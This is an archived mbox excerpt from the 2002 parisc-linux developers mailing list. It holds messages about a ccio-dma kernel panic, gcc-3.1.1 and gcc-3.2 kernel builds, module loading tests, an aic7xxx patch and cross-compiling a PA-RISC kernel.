List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15566

Quoting Grant Grundler <grundler@dsl2.external.hp.com>:

> Juergen Braukmann wrote:
> > Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> 
> Sorry Joel, this has nothing to do with SCSI termination.
> 
Do not be, I would just like to be sure that there is no HW problem as I
encounter with my b2k.

Thanks for info,
    Joel
 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Thu, 18 Jul 2002 08:15:13 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <1026972913.3d365cf155c68@webmail.tiscalinet.be>
References: <200207161812.g6GICDIp023677@hiauly1.hia.nrc.ca> <1026925794.3d35a4e296ccf@webmail.tiscalinet.be> <20020717183200.G13352@parcelfarce.linux.theplanet.co.uk> <1026927844.3d35ace43b220@webmail.tiscalinet.be> <20020717191033.H13352@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621543 11213 80.91.229.3 (22 Nov 2014 01:59:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:03 +0000 (UTC)
Cc: joel.soete@freebel.net, Matthew Wilcox <willy@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 18 00:15:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA0A9486F
	for <parisc-linux@parisc-linux.org>; Thu, 18 Jul 2002 00:15:19 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17V4ZF-0006XK-00; Thu, 18 Jul 2002 08:15:13 +0200
In-Reply-To: <20020717191033.H13352@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15567

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Jul 17, 2002 at 07:44:04PM +0200, joel.soete@freebel.net wrote:
> > Quoting Matthew Wilcox <willy@debian.org>:
> > > but did you test modules?
> > They were all together build with 'make oldconfig' after a distclean,
> so yes
> > with modules support. A monolithic test should be interesting? (I
> already do
> > this test for gcc-3.1 not 3.1.1 it does not bring success)
> 
> build is not sufficient; the EXPORT_MODULE stuff can only be tested by
> loading modules at runtime.


Is it just to test to load a module? (no relation with TCP problem?)

Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge -rc1 -rc2 (was 2.4.19-rc1-ac6 Merge pa55: #error ...?)
Date: Thu, 18 Jul 2002 15:58:22 +0200 (CEST)
Lines: 126
Approved: news@gmane.org
Message-ID: <1027000702.3d36c97e55996@webmail.tiscalinet.be>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk> <1026913104.3d357350a4057@webmail.tiscalinet.be> <20020717144543.A13352@parcelfarce.linux.theplanet.co.uk> <1026914852.3d357a24c4a4a@webmail.tiscalinet.be> <20020717142915.GG641@tausq.org> <1026922060.5709.148.camel@irongate.swansea.linux.org.uk>  <20020717150349.GN8724@tausq.org> <1026925311.5709.153.camel@irongate.swansea.linux.org.uk>  <1026927440.3d35ab5042756@webmail.tiscalinet.be> <1026936549.1688.157.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621543 11216 80.91.229.3 (22 Nov 2014 01:59:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:03 +0000 (UTC)
Cc: joel.soete@freebel.net, Randolph Chung <randolph@tausq.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 18 08:57:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C330482D
	for <parisc-linux@parisc-linux.org>; Thu, 18 Jul 2002 08:57:11 -0600 (MDT)
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by cuprel1.hp.com (Postfix) with ESMTP id 382031671
	for <parisc-linux@parisc-linux.org>; Thu, 18 Jul 2002 06:59:10 -0700 (PDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17VBnS-0003Yn-00; Thu, 18 Jul 2002 15:58:22 +0200
In-Reply-To: <1026936549.1688.157.camel@irongate.swansea.linux.org.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15568

Quoting Alan Cox <alan@lxorguk.ukuu.org.uk>:

> On Wed, 2002-07-17 at 18:37, joel.soete@freebel.net wrote:
> > Hi,
> > 
> > I merge my 19-rc1 stuff with 19-rc2 and just enounter a conflict in
> > include/linux/personality.h:
> > 
> > enum{
> > ...
> > +        PER_OSF4= 0x000f,
> > 
> > unfortunaltely the same as our:
> >          PER_HPUX= 0x000f,
> > 
> > What should I do?
> 
> I've asked Marcelo to use 0x0010 for OSF4 (its just added and not an
> established constant)
> 

And all my stuf compiles and run well at least on my b2k and 712.
Compile with gcc-3.0.4 and for gcc-3.2 I do have to apply following small patch:

--- aic7xxx_osm.c.orig	Thu Jul 18 15:22:10 2002
+++ aic7xxx_osm.c	Thu Jul 18 14:08:02 2002
@@ -417,25 +417,25 @@
 MODULE_LICENSE("Dual BSD/GPL");
 #endif
 MODULE_PARM(aic7xxx, "s");
-MODULE_PARM_DESC(aic7xxx, "period delimited, options string.
-
verbose
		Enable verbose/diagnostic logging
-
no_probe
	Disable EISA/VLB controller probing
-
no_reset
	Supress initial bus resets
-
extended
	Enable extended geometry on all controllers
-
periodic_otag
	Send an ordered tagged transaction periodically
-
			to prevent tag starvation.  This may be
-
			required by some older disk drives/RAID arrays. 
-
reverse_scan
	Sort PCI devices highest Bus/Slot to lowest
-
tag_info:<tag_str>
Set per-target tag depth
-
seltime:<int>
	Selection Timeout(0/256ms,1/128ms,2/64ms,3/32ms)
-
-
Sample /etc/modules.conf line:
-
	Enable verbose logging
-
	Disable EISA/VLB probing
-
	Set tag depth on Controller 2/Target 2 to 10 tags
-
	Shorten the selection timeout to 128ms from its default of 256
-
-
options aic7xxx='\"verbose.no_probe.tag_info:{{}.{}.{..10}}.seltime:1\"'
+MODULE_PARM_DESC(aic7xxx, "period delimited, options string.\n\
+
verbose
		Enable verbose/diagnostic logging\n\
+
no_probe
	Disable EISA/VLB controller probing\n\
+
no_reset
	Supress initial bus resets\n\
+
extended
	Enable extended geometry on all controllers\n\
+
periodic_otag
	Send an ordered tagged transaction periodically\n\
+
			to prevent tag starvation.  This may be\n\
+
			required by some older disk drives/RAID arrays. \n\
+
reverse_scan
	Sort PCI devices highest Bus/Slot to lowest\n\
+
tag_info:<tag_str>
Set per-target tag depth\n\
+
seltime:<int>
	Selection Timeout(0/256ms,1/128ms,2/64ms,3/32ms)\n\
+\n\
+
Sample /etc/modules.conf line:\n\
+
	Enable verbose logging\n\
+
	Disable EISA/VLB probing\n\
+
	Set tag depth on Controller 2/Target 2 to 10 tags\n\
+
	Shorten the selection timeout to 128ms from its default of 256\n\
+\n\
+
options aic7xxx='\"verbose.no_probe.tag_info:{{}.{}.{..10}}.seltime:1\"'\n\
 ");
 #endif
 
Many thanks again,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Thu, 18 Jul 2002 14:06:29 +0200 (CEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <1026993989.3d36af45ed334@webmail.tiscalinet.be>
References: <200207161812.g6GICDIp023677@hiauly1.hia.nrc.ca> <1026925794.3d35a4e296ccf@webmail.tiscalinet.be> <20020717183200.G13352@parcelfarce.linux.theplanet.co.uk> <1026927844.3d35ace43b220@webmail.tiscalinet.be> <20020717191033.H13352@parcelfarce.linux.theplanet.co.uk> <1026972913.3d365cf155c68@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621543 11219 80.91.229.3 (22 Nov 2014 01:59:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:03 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, joel.soete@freebel.net,
	Matthew Wilcox <willy@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 18 09:43:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C697482F
	for <parisc-linux@parisc-linux.org>; Thu, 18 Jul 2002 09:43:35 -0600 (MDT)
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by cuprel1.hp.com (Postfix) with ESMTP id 1F57C5B4
	for <parisc-linux@parisc-linux.org>; Thu, 18 Jul 2002 05:07:47 -0700 (PDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17VA3B-0007TN-00; Thu, 18 Jul 2002 14:06:29 +0200
In-Reply-To: <1026972913.3d365cf155c68@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15569

Quoting joel.soete@freebel.net:

> Quoting Matthew Wilcox <willy@debian.org>:
> 
> > On Wed, Jul 17, 2002 at 07:44:04PM +0200, joel.soete@freebel.net
> wrote:
> > > Quoting Matthew Wilcox <willy@debian.org>:
> > > > but did you test modules?
> > > They were all together build with 'make oldconfig' after a
> distclean,
> > so yes
> > > with modules support. A monolithic test should be interesting? (I
> > already do
> > > this test for gcc-3.1 not 3.1.1 it does not bring success)
> > 
> > build is not sufficient; the EXPORT_MODULE stuff can only be tested
> by
> > loading modules at runtime.
> 
> 
> Is it just to test to load a module? (no relation with TCP problem?)
> 
> Joel
> 
Sorry for delay but I would like to re-compile some more modules. I just test
lvm-mod as well as nfs and nfsd. No problem: insmod, lsmod, rsmod works fine for
gcc-3.1.1 and for gcc-3.2. (do you know some problem with modules with those
release of gcc compiler?)

Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-3.2 Ok gcc-3.1.1 Ko (was Re: [parisc-linux] gcc-3.2 bootstrap?)
Date: Thu, 18 Jul 2002 19:43:21 +0200 (CEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <1027014201.3d36fe398e53d@webmail.tiscalinet.be>
References: <200207161812.g6GICDIp023677@hiauly1.hia.nrc.ca> <1026925794.3d35a4e296ccf@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621544 11223 80.91.229.3 (22 Nov 2014 01:59:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 18 11:43:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 906A44838
	for <parisc-linux@parisc-linux.org>; Thu, 18 Jul 2002 11:43:30 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17VFJB-00065M-00; Thu, 18 Jul 2002 19:43:21 +0200
In-Reply-To: <1026925794.3d35a4e296ccf@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15570

Quoting Joel Soete <joel.soete@freebel.net>:

> Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:
> 
> > > > Your problem appears to be with
> arch/parisc/kernel/parisc_ksyms.c.
> > > > It imports the symbol.
> > > > 
> > > 
> > > Simply comment it out will broken to compile with gcc-3.0.x, I
> > suppose?
> > 
> > I suspect that you can just delete
> > 
> >   extern void $$mulU(void);
> > 
> > and
> > 
> >   #ifndef __LP64__
> >   EXPORT_SYMBOL_NOVERS($$mulU);
> >   #endif
> > 
> > I didn't see any assembly usage of this function in linux and I don't
> > believe gcc uses it (even 3.0.x), so probably the lines can just be
> > deleted.
> > 
> 
> To summarise:
> This clean should be applied without problem (test with gcc-3.2 and
> gcc-3.0.4)
> 
> This allow me to produce an operational kernel with gcc-3.2 (bootstrap
> an x);
> telnet, ftp and ssh connection OK
> 
> But with gcc-3.1.1 still crashing at the first remote connection?
> 
> I will try a more recent CVS update.

Same problem with the last CVS update today (20020718)

> 
> Joel
> 

PS: A new baby is ongoing to be born ? (2.5 :) or :( for 2.4)
I better understand on which important job Paul was working :)

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic, ccio-dma.c, C110
Date: Thu, 18 Jul 2002 17:19:10 +0200
Organization: Power Penguin Club
Lines: 33
Approved: news@gmane.org
Message-ID: <3D36DC6E.9E29A95F@ruhr-west.de>
References: <3D35925D.71683E92@ruhr-west.de> <20020717181459.CCD8E48CF@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621544 11229 80.91.229.3 (22 Nov 2014 01:59:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:04 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 18 10:07:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB04D4838
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Jul 2002 10:07:38 -0600 (MDT)
Original-Received: from fwd09.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 17VDoR-0001Dh-0E; Thu, 18 Jul 2002 18:07:31 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.18.65]) by fmrl09.sul.t-online.com
	with esmtp id 17VDoM-0XLajYC; Thu, 18 Jul 2002 18:07:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6IFJgZ20421;
	Thu, 18 Jul 2002 17:19:42 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 20401-6685253C;
	Thu, 18 Jul 2002 17:19:10 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15571

Grant Grundler schrieb:
> 
> Juergen Braukmann wrote:
> > Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> 
> Sorry Joel, this has nothing to do with SCSI termination.
> 
> Juergen,
> In arch/parisc/kernel/ccio-dma.c, change ccio_mem_ratio from 4 to 8 or 16.
> For more explanation, search for "Determine IOVA Space size" in ccio-dma.c.
> 
Hi All,

when I read this first I thought "easy" (having in mind cat-ting "4"
somewhere into some file in the proc tree), but this is a kernel change
and recompile. I do not have the sorces on the machine and do not realy
know how to crosscompile on my i686 box. Trying to ftp the kernel source
over will panic the kernel.
I looked into the kernel Makefile, but am not sure what changes to do
there. Is there some info on that? (I'll look up the website for
x-compilation). All this seems to be over my intelectual limits. ;-(
Is there a chance to change that default value in the precompiled
kernels??

Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic, ccio-dma.c, C110
Date: Thu, 18 Jul 2002 18:28:54 +0200
Organization: Power Penguin Club
Lines: 34
Approved: news@gmane.org
Message-ID: <3D36ECC6.B79EEEBD@ruhr-west.de>
References: <3D35925D.71683E92@ruhr-west.de> <20020717181459.CCD8E48CF@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621544 11230 80.91.229.3 (22 Nov 2014 01:59:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:04 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 18 12:03:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id A13DC4838
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Jul 2002 12:03:00 -0600 (MDT)
Original-Received: from fwd07.sul.t-online.de 
	by mailout01.sul.t-online.com with smtp 
	id 17VEkh-0002PJ-07; Thu, 18 Jul 2002 19:07:43 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.22.126]) by fmrl07.sul.t-online.com
	with esmtp id 17VEkV-0Tk1yKC; Thu, 18 Jul 2002 19:07:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6IGTQZ25951;
	Thu, 18 Jul 2002 18:29:26 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 25946-4597DB2A;
	Thu, 18 Jul 2002 18:28:54 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15572

Grant Grundler schrieb:
> 
> Juergen Braukmann wrote:
> > Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> > resources.
> 
> Sorry Joel, this has nothing to do with SCSI termination.
> 
> Juergen,
> In arch/parisc/kernel/ccio-dma.c, change ccio_mem_ratio from 4 to 8 or 16.
> For more explanation, search for "Determine IOVA Space size" in ccio-dma.c.
> 
> grant

Grant and all,

forget my earlier mourning about crosscompiling etc. I found the
x-compiler, insttalled it nicked the config file from the stock kernels,
edited the Makefile (all with a few guesses) and compiled a kernel.
"file" tells me it's pa-risc, so x-compiling seemed to work.
Unfortunately, I forgot to change that value in ccio-dma.c. ;-(

So stop working for my behalf, didn't think it would be that easy. If
there are more tears, I'll shout.

Juergen


-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem building gcc-3.2 (cvs head) on hppa-linux
Date: Thu, 18 Jul 2002 14:33:38 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200207181833.g6IIXdRv002249__11960.4134619751$1416621545$gmane$org@hiauly1.hia.nrc.ca>
References: <20020712072703.GA8838@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621545 11231 80.91.229.3 (22 Nov 2014 01:59:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:05 +0000 (UTC)
Cc: gcc@gcc.gnu.org, parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 18 12:33:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C81C74831
	for <parisc-linux@parisc-linux.org>; Thu, 18 Jul 2002 12:33:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6IIXe00002250;
	Thu, 18 Jul 2002 14:33:40 -0400 (EDT)
Original-Received: (from dave@localhost)
